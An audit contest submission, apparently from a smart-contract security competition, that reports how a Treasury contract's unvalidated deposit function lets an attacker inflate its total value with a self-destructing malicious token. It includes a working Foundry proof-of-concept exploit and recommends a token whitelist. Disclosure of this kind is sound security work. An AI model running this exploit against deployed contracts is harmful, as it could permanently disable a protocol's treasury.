Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Malicious User Can Cause Permanent DOS to Treasury's `deposit` Function As It Is Vulnerable to Value Inflation via Malicious Tokens

Summary

The Treasury contract's deposit function accepts any ERC20 token and updates _totalValue based on the token's value without any validation, allowing attackers to artificially inflate the total value using malicious tokens. This would permanently DOS the treasury contract as it would be impossible to deposit additional tokens.

Vulnerability Details

The vulnerability exists because:

  • Function accepts any token address without validation

  • Directly adds deposit amount to `_totalValue`

  • No whitelist of accepted tokens

  • No validation of token legitimacy

Attack Scenario:

  • Attacker creates malicious token

  • Mints `type(uint256).max` of malicious tokens

  • Calls deposit() with malicious tokens

  • Destroys the malicious token contract in the same transaction as its creation

  • _totalValue is inflated to the max

  • Treasury can no longer accept any deposits

  • Treasury manager cannot withdraw malicious tokens to reduce _totalValue

POC

To use foundry in the codebase, follow the hardhat guide here: Foundry-Hardhat hybrid integration by Nomic foundation

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {FeeCollector} from "../../../../contracts/core/collectors/FeeCollector.sol";
import {Treasury} from "../../../../contracts/core/collectors/Treasury.sol";
import {ERC20} from "../../../../contracts/mocks/core/tokens/ERC20Mock.sol";
import {RAACToken} from "../../../../contracts/core/tokens/RAACToken.sol";
import {veRAACToken} from "../../../../contracts/core/tokens/veRAACToken.sol";
import {Test, console} from "forge-std/Test.sol";
contract UnitTest is Test {
FeeCollector feeCollector;
Treasury treasury;
RAACToken raacToken;
veRAACToken veRAACTok;
address repairFund;
address admin;
uint256 initialSwapTaxRate = 100; //1%
uint256 initialBurnTaxRate = 50; //0.5%
MaliciousToken maliciousToken;
uint256 maxAmount = type(uint256).max;
function setUp() public {
repairFund = makeAddr("repairFund");
admin = makeAddr("admin");
treasury = new Treasury(admin);
raacToken = new RAACToken(admin, initialSwapTaxRate, initialBurnTaxRate);
veRAACTok = new veRAACToken(address(raacToken));
feeCollector = new FeeCollector(address(raacToken), address(veRAACTok), address(treasury), repairFund, admin);
vm.startPrank(admin);
raacToken.setFeeCollector(address(feeCollector));
raacToken.setMinter(admin);
vm.stopPrank();
// Test begins here to account for foundry's behaviour with selfdestruct
address malUser = makeAddr("malUser");
// Create malicious token
vm.startPrank(malUser);
maliciousToken = new MaliciousToken();
maliciousToken.mint(malUser, maxAmount);
// Deposit malicious tokens
maliciousToken.approve(address(treasury), maxAmount);
treasury.deposit(address(maliciousToken), maxAmount);
// Destroy malicious token
maliciousToken.selfDestruct(malUser);
vm.stopPrank();
}
function testMaliciousTokenInflation() public {
// Admin cannot withdraw to reduce _totalValue amount
vm.prank(admin);
vm.expectRevert();
treasury.withdraw(address(maliciousToken), maxAmount, admin);
//_totalValue is permanently stuck
assertEq(treasury.getTotalValue(), maxAmount);
}
}
contract MaliciousToken is ERC20 {
constructor() ERC20("Malicious Token", "MAL") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function selfDestruct(address receiver) public {
selfdestruct(payable(receiver));
}
}

Impact

Total value of treasury can be artificially inflated. This would permanently DOS the treasury contract as it would be impossible to deposit additional tokens.

Tools Used

Manual review, foundry test suite

Recommendations

Implement a whitelist for accepted tokens

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Treasury::deposit increments _totalValue regardless of the token, be it malicious, different decimals, FoT etc.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.